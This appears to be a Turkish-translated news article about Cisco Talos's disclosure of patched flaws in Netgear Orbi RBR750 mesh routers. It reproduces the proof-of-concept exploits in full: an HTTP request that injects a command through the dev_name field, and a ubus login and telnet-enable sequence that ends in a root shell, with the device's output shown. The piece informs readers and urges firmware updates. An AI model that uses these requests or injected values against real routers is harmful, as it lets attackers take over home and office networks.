
Net dişli
İnternete bağlanmak için Netgear’ın Orbi ağ kablosuz sistemine güveniyorsanız, eski sürümlerdeki kritik güvenlik açıkları için yararlanma kodu yayımlandığına göre, sistemin en son üretici yazılımını çalıştırdığından emin olmak isteyeceksiniz.
Netgear Orbi ağ kablosuz sistemi, bir ana merkez yönlendirici ve ağın menzilini genişleten bir veya daha fazla uydu yönlendirici içerir. Bir evde veya ofiste birden fazla erişim noktası kurarak, Wi-Fi kapsamının her yerde mevcut olmasını sağlayan bir ağ sistemi oluştururlar.
Uzaktan rasgele komutlar enjekte etme
Geçen yıl, Cisco’nun Talos güvenlik ekibindeki araştırmacılar dört güvenlik açığı keşfetti ve bunları özel olarak Netgear’a bildirdi. CVE-2022-37337 olarak izlenen güvenlik açıklarının en ciddisi, RBR750’nin erişim denetimi işlevinde bulunuyor. Bilgisayar korsanları, cihaza özel hazırlanmış HTTP istekleri göndererek komutları uzaktan yürütmek için bundan yararlanabilir. Bilgisayar korsanının önce SSID şifresini bilerek veya korumasız bir SSID’ye erişerek cihaza bağlanması gerekir. Kusurun ciddiyeti, olası 10 üzerinden 9,1 olarak derecelendirilir.
Ocak ayında Netgear, güvenlik açığını gideren üretici yazılımı güncellemeleri yayınladı. Şimdi Talos, teknik ayrıntılarla birlikte bir kavram kanıtı istismar kodu yayınladı.
Talos araştırmacıları, “Orbi RBR750’nin erişim kontrol işlevi, bir kullanıcının, ağa erişmeye çalışırken belirtilen cihaza izin vermek veya bu cihazı engellemek için açıkça cihazlar (MAC adresi ve bir ana bilgisayar adı ile belirtilen) eklemesine izin verir” diye yazdı. “Ancak dev_name parametresi, komut eklemeye karşı savunmasızdır.”
Yayınlanan istismar kodu:
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close
action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list
Cihaz aşağıdakilerle yanıt verecektir:
root@RBR750:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Talos’un keşfettiği diğer iki güvenlik açığı da Ocak ayında yamalar aldı. CVE-2022-36429 ayrıca, özel hazırlanmış bir JSON nesnesi oluşturan bir dizi kötü amaçlı paket gönderilerek yararlanılabilen bir uzaktan komut yürütme hatasıdır. Ciddiyet derecesi 7.2’dir.
İstismar, belgesiz bir telnet oturumu başlatmak için gereken bir kimlik doğrulama çerezini döndürmek için ‘admin’ kullanıcı adına sahip parolanın SHA256 toplamını kullanarak başlar:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}
Gizli telnet hizmetini başlatmak için gereken ‘ubus_rpc_session’ belirteci daha sonra görünecektir:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}
Düşman daha sonra telnet hizmetini başlatmak için ‘telnet_enable’ adlı bir parametre ekler:
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
‘admin’ kullanıcı adıyla SHA256 karmasını oluşturmak için kullanılan parolanın aynısı, bir saldırganın hizmette oturum açmasına izin verir:
$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
------------------------------------------
BusyBox v1.30.1 () built-in shell (ash)
MM NM MMMMMMM M M
$MMMMM MMMMM MMMMMMMMMMM MMM MMM
MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM
MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'
MMMM= MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
MMMM= MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
MMMM= MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
MMMM= MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
MMMM= MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
MMMM= MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
---------------------------------------------------------------
root@RBS750:/#
Diğer yamalı güvenlik açığı, önem derecesi 6,5 olan CVE-2022-38458’dir. Kullanıcılardan şifrelenmemiş bir HTTP bağlantısı üzerinden bir şifre girmelerini isteyen cihazdan kaynaklanır. Aynı ağdaki bir düşman daha sonra parolayı koklayabilir.